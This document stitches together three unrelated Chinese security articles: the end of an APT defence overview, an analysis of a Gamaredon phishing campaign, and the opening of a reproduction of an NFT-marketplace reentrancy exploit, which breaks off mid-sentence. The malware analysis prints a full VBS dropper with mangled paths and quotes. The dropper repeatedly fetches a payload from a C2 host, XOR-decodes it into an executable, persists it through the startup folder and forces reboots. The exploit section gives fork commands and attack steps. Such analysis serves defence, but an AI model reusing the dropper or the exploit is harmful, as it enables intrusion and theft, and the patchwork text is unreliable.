Curry说。但是在准备之后，攻击者将直接跳转到中断阶段。他补充说DOS攻击也可能只是攻击的第一步，用来掩盖其他恶意行为。“当系统崩溃时，攻击者可以创建一个漏洞，”他说，“或者创建一个高信噪的筛选器，来掩盖痕迹或破坏系统的信号发现能力。”他说，攻击者也可以添加步骤到游戏流程里。例如，他们可以花时间清理痕迹、设置中断、传播虚假数据，或安装未来用得上的后门。他们也可以重新安排各步骤的顺序，或者重复之前的步骤。这不是一个简单的线性过程。这通常更像树状或根系的分支和蔓延，这一过程很复杂，会发生很多事情。
攻击方 防御方
特点 恶意软件将打开通信信道，以使攻击方远程操作目标。向C2目标开放双向通信通道基础设施； 防御的最后一个最佳时机-阻止C2操作：“通过阻断C2通道”。如果攻击方不能通过通信信道发出命令，相应的防御方就可以实现阻断C2攻击
**常用攻击** 最常见的C2渠道涉及web，DNS和电子邮件协议，C2基础设施可能被攻击方或目标自身所拥有
通过全面的恶意软件分析工具去发现部署和执行了C2的基础设施强化网络：
**防御方式：**
汇总所有存在的互联网点，规范所有类型的代理流量（HTTP，DNS等）；自定义C2模块：网络代理协议；代理类模块，包括“none”或“未分类”的域；DNS穿透和域名服务器毒化防御；实施开源研究发现新的C2攻击方式。
### 4.3.7行动：使命必达，不达目的，誓不罢休
在拒绝服务攻击案例中，中断不一定是攻击的最后一步。在攻击者成功地破坏、瘫痪或渗入系统后，攻击者可以重复这一过程。也可以转移到另一个阶段——盈利。Preempt
Security的首席执行官 Ajit Sancheti
认为，攻击者可能采取任意形式的组合。比如，他们可以通过破坏基础设施来进行广告欺诈或发送垃圾邮件、向企业勒索赎金、出售他们在黑市上获得的数据，甚至劫持基础设施出租给其他罪犯。“攻击的盈利已经急剧增加。”他补充说，比特币的使用让攻击者更简便、安全地得到钱，这导致了攻击动机的变化。不同群体的数量参与也让黑市上被盗数据的消费变得更加复杂。这也为企业、执法部门和其他组织创造了合作破坏这一过程的机会。以被盗的支付卡信息为例。“一旦信用卡数据被盗，这些数据必须被测试、出售、用于获取商品或服务，反过来这些商品或服务必须转换为现金。”Splunk公司的安全研究主管Monzy
Merza说。这一切都早已超出了传统网络杀伤链的范畴。黑市生态系统也在影响了网络攻击周期中的攻击准备环节。攻击者们会分享身份凭证列表、漏洞或被修改的应用程序。
攻击方 防御方
特点 激活键盘接入激活键盘接入，入侵者完成任务的目标。接下来会发生什么将取决于谁是在键盘上。
较长的攻击方有CKC7访问，更大的影响。包括网络数据包捕获，进行损失评估 – 防御方必须通过取证去尽可能快地检测到这一阶段
**常用攻击：** 收集用户凭据，权限提升，内部侦查，横向内网渗透，收集和传出数据，破坏系统，覆盖或破坏数据，偷偷修改数据
**防御方式：**
制定事件响应流程，包括行政参与和沟通计划。检测数据泄露，横向传输，未经授权证书的使用。即时响应分析反馈所有事件告警。预先部署监控节点端点快速分流。网络包捕获，还原攻击活动。让专家进行事件损害评估
## 4.4钻石模型
钻石模型是一个针对单个事件分析的模型，核心就是用来描述攻击者的技战术和目的，具体的钻石模型如下图所示：
钻石模型
钻石模型由三部分组成：置信度、元数据、社会-政治影响和技战术组合
社会政治影响：处于钻石模型上下两个顶点，上顶点表示攻击者，下顶点表示受害者也就是目标。攻击者和受害者之间的某种利益冲突或者是社会地位对立则会产生攻击的意图和发起攻击的原因，纵切面表示的就是社会政治影响。说大白话就是根据这俩人去发现攻击的意图。
技战术组合：技战术组合位于整个钻石模型的横切面，横切面的两个顶点分别为基础设施和技术能力，这里的基础设施和技术能力其实都是相对于攻击者而言的。
元数据：这个其实就是左边列出来的，攻击时间、攻击阶段、攻击结果、攻击方向、攻击手段、攻击资源利用。
置信度：也就是以上你分析出结果的可信程度。
钻石模型想要表达的其实就是针对单个安全事件，我们可以得到攻击者为什么想要攻击目标，打算用什么手段去攻击目标。
# 0x05.被透露的APT攻击
<https://github.com/kbandla/APTnotes>
此处不做赘述
# 0x06.一些APT信息获取渠道
1.第一类：Github
APT大事件：<https://github.com/kbandla/APTnotes>
2.第二类：互联网安全商
360威胁情报中心：<https://ti.360.net/>
IBM：<https://exchange.xforce.ibmcloud.com/>
3.第三类：开源安全威胁情报
Threatminer：<https://www.threatminer.org/>
ThreatBook：<https://x.threatbook.cn/>
4.付费类威胁情报
知道创宇：<https://www.yunaq.com/gpt/>
NOSEC：<https://nosec.org/>
5.资讯类威胁情报
安全牛：<http://www.aqniu.com/category/threat-alert>
安全客：<http://bobao.360.cn/news/index>
secwiki：<https://www.sec-wiki.com/index.php>
Tools：<https://www.t00ls.net/>
sec-un:[https://www.sec-un.org/category/安全威胁情报/](https://www.sec-un.org/category/%E5%AE%89%E5%85%A8%E5%A8%81%E8%83%81%E6%83%85%E6%8A%A5/)
IBM：<https://securityintelligence.com/>
天际友盟：<https://www.sec-un.com/post_queryByPage.action?pager.page=1>
Freebuf：<http://www.freebuf.com/>
ichunqiu：<https://www.ichunqiu.com/>
cybernews：<https://www.cyberwarnews.info/>
Secrss：<https://www.secrss.com/>
Exploit-DB：<https://www.exploit-db.com/>
TheHacknews：<https://thehackernews.com/>
Hack news：<http://hackernews.cc/>
6.网络空间搜索引擎威胁情报
Shodan：<https://www.shodan.io/>
censys：<https://www.censys.io/>
Fofa：<https://fofa.so/>
Zoomeye：<https://www.zoomeye.org/>
# 0x07.应对APT的思路或者想法
APT就像是《三体》里面黑暗法则提到的那样：
宇宙就是一座黑暗森林，每个文明都是带枪的猎人，像幽灵般潜行于林间，轻轻拨开挡路的树枝，竭力不让脚步发出一点儿声音，连呼吸都必须小心翼翼：他必须小心，因为林中到处都有与他一样潜行的猎人，如果他发现了别的生命，能做的只有一件事：开枪消灭之。在这片森林中，他人就是地狱，就是永恒的威胁，任何暴露自己存在的生命都将很快被消灭，这就是宇宙文明的图景，这就是对费米悖论的解释。
一旦被发现，能生存下来的是只有一方，或者都不能生存
## 7.1殊途同归原则
所有的攻击都是有目的性的，不论手段如何，目标都是你，如果目标都变了，那么攻击就不是针对你的攻击了，至少对被攻击方而言便是如此，所以这里要关注什么呢？
### 7.1.1资产
你要知道你所守护的东西是什么，如果你都不知道守护的资产有多大范围，资产有什么特点，是怎么区分的
**a.资产范围**
你需要确定组织团体所有的资产范围，去划分相应的区域，可以是业务为主划分，也可以是直接的安全域，确定范围最终的目的就是梳理流量，稍后再提，资产范围可以做到最小权限原则，规定组织内某个团队的访问控制，以及审计，如此便可以对团体行为做分析，就比如开发团队不会去调试网络，办公室人员不应该去接入生产和业务，安全基础设施人员也不会去服务基础设施进行大量拷贝，总之就是要给资产的普及区域进行规定。
**b.资产属性**
资产属性怎么说？其实个人比较支持把资产先分uat,prd,dr,oa这是内部的资产，还有一些合作方，也就是第三方，可以按对方团体名进行备注，资产属性定义资产的利用方的属性，也就是确定资产的使用方。
**c.资产类别**
这里面的资产包括基础设施资产，应用资产，信息资产，人员资产，隐性资产，基础设施就是网络，服务器，主机，安全设备，日常办公设备，能源设备等；应用资产一般指的是数据库，操作系统，中间价，容器，web应用等；信息资产包括组织合同，客户数据，制度流程，包括纸质，电子的所有存储信息；人员资产，主要是员工信息，组织架构，服务等等，隐性资产一般是公司企业名誉，社会价值等
资产类别确定资产的所属方。
那么我们就可以以一个类似公式的方法去分析最近资产的调用，使用，增删查改的操作：谁，什么时间，通过什么渠道，访问了哪些资产，资产间什么关系，动作有哪些？
## 7.2活动方式
所谓活动方式其实就是访问方式，还有一个更加洋气的名字：UBA（用户行为分析），我们先假设所有的访问都是不正常的，把所有的访问数据都在一个可恢复的环境，为什么要这么思考，因为人类的多样性，很难确定我们去执行操作的过程都是一样的，也就是说不会访问的潜意识是无意还是恶意，都应该做好监视，说到这里，我就提一下隐私权，作为个人是很不喜欢被监控的，所以要监视的环境要明确，目的要确定，继续回到活动原则，也就是说假设所有针对关键资产的动作都受到监控，这就是一部分数据源，监控能够在后续取证溯源得到很多提示。
**a.上网行为监控**
这里我举一个栗子：公司每周会有上网行为管理报表，会定时发布到SOC团队，而报表里面会有一个关于上网内容的分析，也就是员工访问的网址，当一名员工持续访问招聘网站时，达到半个月甚至更长的时候，基本可以确定这名员工是准备跳槽了，而此时基于人员安全就有可能会出现漏洞，当然我一直都是秉着人性本善的观念，但不排除能力较强或者不小心误入歧途的人，所以监控还是要有的，同时做好人员离职情况和权限变更的及时记录和追踪
**b.邮件服务器监控**
很多APT攻击的一个套路就是通过水坑式，鱼叉式的邮件钓鱼攻击，而且最近Office和Adobe频频出现0day，不排除一部分的终端或者服务器没有打上相应的补丁，当我们监控邮件服务器和邮件的时候，对邮件的传输进行监控，首先监控上班时间和下班时间的邮件发送情况，其次邮件附件的大小，和部分未加密的内容，最后是邮件入口，对钓鱼邮件进行清洗和处理
**c.终端管理**
之所以进行终端管理主要是针对两个方面：1.员工自己的安全意识薄弱导致终端被攻击，甚至导致内外网互通，业务和OA互通等等，短时间可能发现不了问题，当病毒，木马进入时，造成的损害就不仅仅是一台终端或者一小块OA区域了，可能是整个集团的的网络环境；2.员工内鬼，所谓千防万防家贼难防，不排除心有不忿的员工会通过终端拷贝企业信息，进行暗网交易。
所以终端管理也是必不可少的
## 7.3堵不如疏原则
传统安全都是不断的堆叠安全设备，安全产品，后来为了更好的利用这些安全的基础设施资源，出现了纵深防御，以层为例，一层一层的，自外而内的防御，但安全问题层出不穷，也表明这样依旧不能很好的保证组织的安全性，安全是个日益增长的问题，而不是一次性部署就可以解决的，安全的问题也不仅仅来自外部，内部损害，有意无意也不在少数，所以重点应该在疏，疏从三个方面入手：检测，应急，流程。
**a.基础防护**
基础防护：也就是传统安全的物理防护措施，但不仅限于物理防御，也包括管理，策略，软件上的防御，甚至针对安全基线的防护应该是算入到基础防护的一部分，前面提到堵不如疏，但这并不意味这就不需要堵，换句话来说，基础防护给攻击源增加的攻击时长，以及较短的检测时长和较短的应急时长可以保障一个企业的基本信息安全，攻击时间越长，检测时间越短，应急时间越短，那么被APT攻击成功的可能性也就越低。
**b.检测**
检测是需要数据的，而且数据量是庞大的，越准确的检测，越是需要人去维护的，那么前期我们需要做的是哪些检测，一般是容易出现异常的检测，一是访问日志，根据属性去确定一个人是否应该出现在某个资产，是否允许进行资产的操作；二是登陆行为，在指定的时间，指定的服务器
**c.应急**
应急主要考虑三个点：
1.应急措施是否完善
应急措施可以从资产的和应用，以及业务的角度出发，应急措施是属于BCM（业务持续性管理）的一部分，建议从以下几个点思考：
a.你的基础设施：包括安全设备反馈，服务器，网络，数据库，备份情况，日志，时钟等，一般来说，很少有人关注时钟，但是做应急和响应最重要的一个点就是时间
b.你的应用服务：应用服务器，Web，DNS解析，DDOS攻击，黑客攻击，代理解析等等，主要是考虑应用的持续性运行和故障处理
c.业务连续性：这里和应用连续性有点关联，只是有些企业存在业务期和非业务期，但实际上来说，应用服务不会完全关闭，这里考虑的主要是业务高峰期的响应，反黑产，反爬虫等对业务可用性，持续性造成影响的恢复手段
2.应急流程是否高效
检测一个应急流程是否有效的最佳方式就是测试，所以可以采取红蓝攻防的形式，或者请第三方外部授权攻击，注意测试要在数据尽可能真实，以及不影响业务的情况下
3.应急是否有效
在流程合理，应急预案充分的情况下，是时候展现真正的力量了，看应急后的恢复情况，主要参考，业务中断时间，一般来说小于10min-15min，具体还得依据业务重要性，不可一语而定，然后就是业务恢复时间，恢复时间越短，说明预案越简单高效，最后是业务恢复情况，直接进行相应的业务测试
d.维护
维护应该包含以下一些点：
1.定期的维护
定期的维护一般是指对硬件设施进行定期的检测和维护，这里检测的范围是尽可能的广，如果范围太大，可以依据资产类型和资产范围，进行抽样测试，但一年内所有机器必须检查一次，对性能不稳定，或者已经出现了故障的设备及时更换，这里要注意对硬件设备做监控，我就遇到过备用服务器故障半个月的事件，此事不谈也罢，最后，维护要遍及所有设备，不论网络，安全，服务器，基础的电力，空调，ups等等
2.异常的维护
异常的维护就简单了很多，主要是有故障就处理，这里需要注意到是，所有的故障处理要有文件可查，也就是说要做好申请，审批，处理等流程，如果紧急，后续也应该补上，有助于对相关事件进行内审
e.监控
监控即对整个环境做监控，这里的粒度是每一条日志，不管是应用日志还是系统日志，还有安全日志，统统收入，然后进行调优处理
监控一般是参考SOC安全运营中心的建设，建立一套完整的日志体系，这里有钱推荐使用大厂商的SOC，没钱就用OSSIM或者ELK（笔者还没建设过，所以也不做多余描述），至于国外一些产品。能不用就不用，因为售后很难受，真的。
最后提一下SOC建设的三个要素：
1.你要知道你的源：你要知道你可以收到的日志源，你可以对哪些日志进行处理，不过近期的soc有加入漏洞管理，基线，资产等元素，可以联系相关管理员获取相应的低权限账户和基础资源
2.人：必须要这么几类人的参与：上级领导的重视和关注， 安全专家的旁敲侧击，安全运维工程师的专注，最后应用，系统，业务，网络，监控，OA等区域的协助
3.在满足了1，2的基础上，开始去明确SOC的具体方向，你是关注内网安全，还是担心外网攻击，还是在意信息泄漏，还是资产管控，还是担心家贼难防等等，都需要你一步一步的去发掘，一般来说，有了源，需要做什么就是分步实施
最后引用Leo的一句话：70%的SOC建设和运营都会卡住
最后：再次总结一下APT攻击：
一些目的性极强，攻击方式极为先进，复杂多样，至少是在漏洞圈子公开之前就已经利用了，攻击时间跨度较长，攻击隐蔽的攻击。最好的判断方式就是根据业务级别来确定被攻击资产的重要性，把每一次异常都当成APT是保持一个安全攻城狮应有的意识！(但不要当成了APT事件处理了)
参考文献
<https://en.wikipedia.org/wiki/Advanced_persistent_threat>
<http://www.freebuf.com/articles/neopoints/152457.html>
[https://mp.weixin.qq.com/s?__biz=MzI5MzY2MzM0Mw==∣=2247484237&idx=1&sn=a02b4576bac88de4089a259d3da3ccb9&chksm=ec6fe44ddb186d5b57eb61af95a7edbf24d4012fa640a9382e2e99f236f0215f2b3953658297&scene=38#wechat_redirect](https://mp.weixin.qq.com/s?__biz=MzI5MzY2MzM0Mw==%E2%88%A3=2247484237&idx=1&sn=a02b4576bac88de4089a259d3da3ccb9&chksm=ec6fe44ddb186d5b57eb61af95a7edbf24d4012fa640a9382e2e99f236f0215f2b3953658297&scene=38#wechat_redirect)
<https://github.com/Hack-with-Github/Awesome-Hacking>
<https://www.lockheedmartin.com/us/what-we-do/aerospace-defense/cyber/cyber-kill-chain.html>
<http://www.aqniu.com/news-views/29381.html>
<http://blog.51cto.com/yepeng> | 社区文章 |
# 俄罗斯组织Gamaredon近期活动分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
最近在样本追踪中，发现了一例疑似Gamaredon的攻击，随后依靠开源情报，发现Gamaredon近期还比较活跃，近一个月投递了众多针对乌克兰地区的攻击样本。而Gamaredon是一个俄罗斯的APT攻击组织，首次出现于2013年,主要是针对乌克兰进行网络间谍活动。2017年，Palo
Alto披露过该组织针对乌克兰攻击活动的细节，并首次将该组织命名为Gamaredon group。
## 基本信息
原始样本hash为：c0dc0c23e675d0c380e243fb36ee005e
vt上传时间为1月14日
样本下载后，通过winhex查看基本可以确定是office格式的文档
尝试压缩软件打开可知是docx文档
添加docx后缀打开之后，是模板注入的攻击样本
注入地址为 hxxp://dochlist[.]hopto.org/opt[.]dot
文档内容如下
通过查询，我们可以得知文章内容是乌克兰语，署名是<乌克兰安全局>
文档最上方的图案也对应了乌克兰安全局Служба безпеки України的官网图标
而根据对Gamaredon的了解，我们也知道该组织自2013年开始，就常针对乌克兰的政府人员发起攻击，常见手法便是伪装乌克兰安全局，分发相关的钓鱼邮件，与本次攻击颇为符合。
## 注入文档分析
将原始文档注入的dot下载到本地，MD5为689fab7a016dae57300048539a4c807e
注入的dot文档内容为空，是一个宏代码利用文档：
查看宏代码，是Gamaredon很常用的一套代码
宏代码最开始创建了两个对象
分别是Wscript.Shell和Wscript.Network,用于后面的shell执行以及网络请求
`Dim yOer
yOer = "Set WShell=CreateObject(""WSc" + "ri" + "pt.S" + "hel" + "l"")"
Set DurJ = CreateObject("WScr" + "ipt.Ne" + "two" + "rk")`
然后通过代码创建Scripting.FileSystemObject对象以提供对文件系统的访问
`Set hIYg = CreateObject("Sc" + "rip" + "ting.Fi" + "leSy" + "stemOb" +
"ject")`
然后获取当前的主机信息，拼接为一个请求字符串,用于后续的请求
请求地址为 hxxp://skrembler[.]hopto[.]org/WIN-IHN30SD7IMB_9AC9AA87/tor[.]php”
宏代码执行完成后，会在%APPDATA%MicrosoftWindowsStart
MenuProgramsStartup路径下释放security.vbs文件
释放的vbs文件hash为195f3fab75ca0602a8c2053070dd1ca3
释放文件的代码格式化后如下：
On Error Resume Next
Dim MTYj
MTYj = DateAdd(“s”, 25, Now())
Do Until (Now() > MTYj)
Loop
Function CZeq(oBIE)
On Error Resume Next
Set bkDw = CreateObject(“MSXML2.XMLHTTP”)
With bkDw
.Open “GET”, oBIE, False
.send
End With
If bkDw.Status = 200 Then
CZeq = bkDw.ResponseBody
End If
End Function
Function Encode( FCkE, BGmO, msKq )
Dim joCE, HHHm, NgjR, jIFy, vHqt, mzrI
Const ForAppending = 8
Const ForReading = 1
Const ForWriting = 2
Const TristateFalse = 0
Const TristateMixed = -2
Const TristateTrue = -1
Const TristateUseDefault = -2
On Error Resume Next
If Not IsArray( msKq ) Then
msKq = Array( msKq )
End If
For joCE = 0 To UBound( msKq )
If Not IsNumeric( msKq(i) ) Then
Encode = 1032
Exit Function
End If
If msKq(joCE) < 0 Or msKq(joCE) > 255 Then
Encode = 1031
Exit Function
End If
Next
Set HHHm = CreateObject( “Scripting.FileSystemObject” )
If HHHm.FileExists( FCkE ) Then
Set NgjR = HHHm.GetFile( FCkE )
Set vHqt = NgjR.OpenAsTextStream( ForReading, TriStateFalse )
Else
vHqt.Close
Set vHqt = Nothing
Set NgjR = Nothing
Set HHHm = Nothing
Exit Function
End If
If HHHm.FileExists( BGmO ) Then
vHqt.Close
Set vHqt = Nothing
Set NgjR = Nothing
If HHHm.Fileexists( FCkE) Then HHHm.DeleteFile FCkE
Set HHHm = Nothing
Exit Function
Else
Set jIFy = HHHm.CreateTextFile( BGmO, True, False )
End If
set joCE = 0
Do Until vHqt.AtEndOfStream
For joCE = 0 To UBound( msKq )
joCE + 1 mod ( UBound( msKq ))
jIFy.Write Chr( Asc( vHqt.Read( 1 ) ) Xor msKq(joCE) )
if vHqt.AtEndOfStream Then Exit Do
Next
Loop
set joCE = 0
Do Until vHqt.AtEndOfStream
joCE = ( joCE + 1 ) ( UBound( msKq ) + 1 )
jIFy.Write Chr( Asc( vHqt.Read( 1 ) ) Xor msKq(mzrI) )
joCE=joCE+1
If mzrI<UBound( msKq ) Then
mzrI=mzrI+1
else mzrI=0
End If
Loop
jIFy.Close
If HHHm.Fileexists(FCkE) Then HHHm.DeleteFile FCkE
vHqt.Close
Set vHqt = Nothing
Set NgjR = Nothing
Set jIFy = Nothing
Set HHHm = Nothing
On Error Goto 0
End Function
Function GetHKcc( KCel )
Dim joCE, msKq( )
ReDim msKq( Len( KCel ) - 1 )
For joCE = 0 To UBound( msKq )
msKq(joCE) = Asc( Mid( KCel, joCE + 1, 1 ) )
Next
GetHKcc = msKq
End Function
Function pdBR(ByVal QopZ)
Dim qsGf
Const EhpF = “abcdefghijklmnopqrstuvwxyz0123456789”
Randomize
For joCE = 1 To QopZ
qsGf = qsGf & Mid(EhpF, Int(36 * Rnd + 1), 1)
Next
pdBR = qsGf
End Function
Sub save(data)
Dim vNsF
vNsF = “1”
vNsF = pdBR(5)
Set CQLk = CreateObject(“Scripting.FileSystemObject”)
Set jSmA = CreateObject(“ADODB.Stream”)
On Error Resume Next
jSmA.Open
jSmA.Type = 1
jSmA.Write (data)
jSmA.Position = 0
Set CQLk = Nothing
jSmA.SaveToFile “C:UsersShytAppDataRoamingMicrosoftExcel”+ vNsF +”.txt”
jSmA.Close
WScript.Sleep 7273
Set PaKX = CreateObject(“Scripting.FileSystemObject”)
Set lCPt = PaKX.GetFile(“C:UsersShytAppDataRoamingMicrosoftExcel”+ vNsF +”.txt”)
If lCPt.Size < 1025 Then lCPt.Delete
Dim arrHKcc, kcEE
arrHKcc = GetHKcc( “9AC9AA87”)
kcEE = Encode( “C:UsersShytAppDataRoamingMicrosoftExcel”+ vNsF +”.txt”, “C:UsersShytAppDataRoamingMicrosoftExcel”+vNsF+”.exe”, arrHKcc )
WScript.Sleep 6425
If PaKX.FileExists( “C:UsersShytAppDataRoamingMicrosoftExcel”+ vNsF +”.txt” ) Then PaKX.DeleteFile “C:UsersShytAppDataRoamingMicrosoftExcel”+ vNsF +”.txt”
If PaKX.FileExists( “C:UsersShytAppDataRoamingMicrosoftExcel”+vNsF+”.exe” ) Then
Set DeCQ = PaKX.CreateTextFile(“C:UsersShytAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup”+ vNsF +”.vbs”, True, True)
DeCQ.Write “On Error Resume Next” & vbCrLf
DeCQ.Write “Set PaKX = CreateObject(“”Scripting.FileSystemObject””)”& vbCrLf
DeCQ.Write “createobject(“”Wscript.Shell””).run “”C:UsersShytAppDataRoamingMicrosoftExcel”+vNsF+”.exe””,0” & vbCrLf
DeCQ.Write “PaKX.DeleteFile Wscript.ScriptFullName”& vbCrLf
DeCQ.Close
End If
If kcEE <> 0 Then
End If
End Sub
hutC = 1
Do While hutC > 0
WScript.Sleep 181224
save CZeq(“http://skrembler.hopto.org/WIN-IHN30SD7IMB_9AC9AA87/tor.php“)
Dim QKLN, zIvq, jJjj, CQLk
Set YDJG = CreateObject(“Scripting.FileSystemObject”)
QKLN = YDJG.GetParentFolderName(“C:UsersShytAppDataRoamingMicrosoftExcel”+vNsF+”.exe”)
With WScript.CreateObject(“Scripting.FileSystemObject”)
Set HHHm = CreateObject(“Scripting.FileSystemObject”)
If HHHm.Fileexists(“C:UsersShytAppDataRoamingMicrosoftExcel”+ vNsF +”.txt”) Then HHHm.DeleteFile “C:UsersShytAppDataRoamingMicrosoftExcel”+ vNsF +”.txt”
jJjj = 0
For Each zIvq In .GetFolder(QKLN).Files
If UCase(.GetExtensionName(zIvq.Name)) = UCase(“exe”) Then
jJjj = jJjj + 1
End If
Next
If (jJjj > 2) Then
Dim NYBz, IHEL, IHELSheck
Set NYBz = GetObject(“WinMgmts:{(Shutdown,RemoteShutdown)}!.RootCIMV2:Win32OperatingSystem”)
Set IHEL = NYBz.Instances
For Each IHELSheck In IHEL
IHELSheck.Reboot()
Next
End If
End With
Loop
程序最开始通过
`On Error Resume Next
Dim MTYj
MTYj = DateAdd("s", 25, Now())
Do Until (Now() > MTYj)
Loop`
启用一个循环，从行为来看应该是用于反沙箱
该程序的入口点在程序最下方，程序通过
`hutC = 1
Do While hutC > 0
WScript.Sleep 181224`
的设置来启动一个永真循环，这里的slepp应该也是反沙箱的设计
接着程序尝试请求之前拼接好的请求地址，并且如果请求成功则会将返回的body做为参数传入到save函数用于保存
`save CZeq("http://skrembler.hopto.org/WIN-IHN30SD7IMB_9AC9AA87/tor.php")`
Czeq函数如下
如果成功请求，则会将返回值写入到%APPDATA%MicrosoftExcel 目录下，文件名为由pdBR生成的5位随机数
尝试将传入进来的data进行写入，写入之后程序会判断文件大小是否大于1025，如果小于则删除
如果文件大于1025说明成功请求，则会将txt文件作为参数传递到Encode进行解密，解密后会在当前目录释放一个与txt同名的exe文件。
exe文件成功释放之后程序会在%APPDATA%MicrosoftWindowsStart
MenuProgramsStartup目录下释放一个同名的vbs文件，该vbs文件用于调用执行刚才解密的exe。
程序成功保存并运行后，攻击者还将通过指定目录下的exe个数来控制是否重启用户的计算机：
## 关联样本分析
后续通过开源情报，找到众多关联的样本，这里以hash为4778869cf2564b14b6bbf4baf361469a的样本做作对比。
样本同样是docx模板注入，注入地址为：
<http://yotaset.ddns.net/yota.dot>
文档内容如下
文档内容署名为：
Головне управління розвідки
Міністерство оборони України
译为
通用情报局
乌克兰国防部
而文章冒充的ICTV是乌克兰本地的官方电台节目。
关联样本所注入的dot文档也是宏代码利用，结构和原始文档几乎保持一致，有细微的不同，比如通过如下的命令设置宏属性为安全
同样的，关联的样本也会在
%APPDATA%MicrosoftWindowsStart MenuProgramsStartup路径下释放vbs文件
释放的vbs也只有微小的差异，比如多了这一段代码：
VBS成功执行，释放的PE文件如下
## IOCs
文件hash
c0dc0c23e675d0c380e243fb36ee005e
689fab7a016dae57300048539a4c807e
195f3fab75ca0602a8c2053070dd1ca3
4778869cf2564b14b6bbf4baf361469a
ba9b05847e50e508ee2decd9dde42032
9735c41349cfa48cc2e7a33e2f33c116
通过关联，最后找到如下的dot分发地址以及样本请求地址
hxxp://office-constructor.ddns.net/obce.dot
hxxp://librebooton.ddns.net/booton.dot
hxxp://inbox-office.ddns.net/inbox.dot
hxxp://libre-templates.ddns.net/internet.dot
hxxp://word-gread.ddns.net/gread.dot
hxxp://win-apu.ddns.net/apu.dot
hxxp://office-lite.ddns.net/lite.dot
hxxp://libre-templates.ddns.net/internet.dot
hxxp://office-crash.ddns.net/crash.dot
hxxp://office-out.ddns.net/out.dot
hxxp://libre-templates.ddns.net/internet.dot
hxxp://librebooton.ddns.net/booton.dot
hxxp://micro-set.ddns.net/micro.dot
hxxp://office-constructor.ddns.net/zaput.dot
hxxp://win-ss.ddns.net/ss.dot
hxxp://office-constructor.ddns.net/zaput.dot
hxxp://get-icons.ddns.net/ComputerName_HardDriveSerialNumber//autoindex.php
hxxp://network-crash.ddns.net/
hxxp://network-crash.ddns.net/ComputerName_HardDriveSerialNumber/autoindex.php | 社区文章 |
**作者：Dig2
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 背景介绍
[The idols](https://www.theidols.io/)是以太坊上的NFT项目，其特点在于会按照用户持有idols
NFT的数量，分红Lido质押奖励(资金来源为项目公售获得的约2250 ETH)。该项目同时发行$VIRTUE代币，购买并质押代币的用户会分红idols
NFT的交易手续费(交易额的7.5%)。因此开发团队自建了一个专用于The
idols的交易平台，以避免用户在第三方交易平台(例如OpenSea)交易被收取额外的平台手续费。
3月7号，idols团队[发布声明称](https://docs.google.com/document/d/1FfeF-epgBUwZBhdwMQ_rtvVjLtQ8f09pukSmZZ-GsI8/edit)，有白帽发现了其 **NFT交易市场**
合约中存在漏洞：攻击者利用精心构造的攻击合约，可以取出IdolMarketplace合约中所有的ETH。
随后idols团队采取了以下行动：
1. 主动利用漏洞，提取出IdolMarketplace合约中卖家们尚未领取的约58 ETH，防止被黑客盗走
2. 删除idols交易平台相关前端页面并通知用户尽快下架idols，防止黑客主动购买idols后再利用漏洞取出ETH
3. 编写合约，用闪电贷购买了idols交易平台中的所有idols NFT，并再次利用漏洞取出款项，然后将idols NFT还给原owner
本文对相关合约进行分析，并复现漏洞利用。
## 源码分析
[IdolMarketplace合约代码](https://github.com/Dig2/chain-exploit/blob/main/The%20Idols/contracts/IdolMarketplace.sol)
合约地址：
0x4ce4f4c4891876ffc0670bd9a25fcc4597db3bbf
合约实现了简单的市场功能，包括：
* 挂单 `postGodListing`
* 取消挂单 `removeGodListing`
* 购买 `buyGod`
* 出价`enterBidForGod`
* 取消出价 `withdrawBidForGod`
* 接受出价`acceptBidForGod`
* 提现 `withdrawPendingFunds`
直接涉及到取款操作的[提现函数withdrawPendingFunds](https://github.com/Dig2/chain-exploit/blob/main/The%20Idols/contracts/IdolMarketplace.sol#L139-L142)和取消[出价函数withdrawBidForGod](https://github.com/Dig2/chain-exploit/blob/main/The%20Idols/contracts/IdolMarketplace.sol#L197-L210)都使用了`nonReentrant`来防止重入攻击。
但在没有重入保护的[购买函数buyGod](https://github.com/Dig2/chain-exploit/blob/main/The%20Idols/contracts/IdolMarketplace.sol#L105-L133)和[接受出价函数acceptBidForGod](https://github.com/Dig2/chain-exploit/blob/main/The%20Idols/contracts/IdolMarketplace.sol#L173-L190)中，使用了`safeTransferFrom`来转移ERC721。
在[safeTransferFrom实现源码](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L164-L170)中，调用了`_checkOnERC721Received`。如果NFT接收者是合约，会尝试调用该合约的`onERC721Received`函数，要求返回值必须为`IERC721Receiver.onERC721Received.selector`，即`0x150b7a02`。
因此我们可以构造带有`onERC721Received`函数的恶意合约，保证最后该函数返回值为`0x150b7a02`，即可将其作为入口进行重入攻击。
回到[acceptBidForGod函数](https://github.com/Dig2/chain-exploit/blob/main/The%20Idols/contracts/IdolMarketplace.sol#L173-L190)中，它将[删除出价操作放在了safeTransferFrom调用之后](https://github.com/Dig2/chain-exploit/blob/main/The%20Idols/contracts/IdolMarketplace.sol#L178-L184)，这是该合约能被重入攻击的另一必要条件——在`godBids[_godId]`还没被删除时，通过调用`safeTransferFrom`从而重入调用`acceptBidForGod`使得`pendingWithdrawals[msg.sender]`能不断累加，再提现即可盗走合约中的ETH。
## 漏洞利用
### 重入攻击取走所有余额
开发团队在14340309区块进行了[第一次漏洞利用](https://etherscan.io/tx/0x93f8d6db885f6054ca57cc5a7eb2bc830d2335e7b02891b12fafcb4f1b7116dc)以拯救合约中的ETH。
我们fork区块高度14340000进行测试：
ganache-cli -f https://eth-mainnet.alchemyapi.io/v2/<api>@14340000 --wallet.accounts <privateKey>,5000000000000000000 --chain.chainId 1
此时`IdolMarketplace`合约中大概有61 ETH，攻击者Bob有5 ETH：
async function getETHBalance(address:string) {
return formatEther(await (await provider.getBalance(address)).toString())
}
console.log("Balance of idol marketplace: ", await getETHBalance(idolMarketplaceContract.address)," ETH")
console.log("Balance of bob: ", await getETHBalance(bob.address)," ETH")
// Balance of idol marketplace: 61.444988760689139709 ETH
// Balance of bob: 5.0 ETH
因为我们要利用对自己拥有的NFT出价，然后进入"接受出价-safeTransferFrom"重入循环，所以我们得先有一个NFT。查询logs中的`GodListed`事件找到一个售价为1
ETH的NFT进行购买，这里购买1426号：
await (await idolMarketplaceContract.buyGod(1426, {value: parseEther("1")})).wait()
然后思路为：
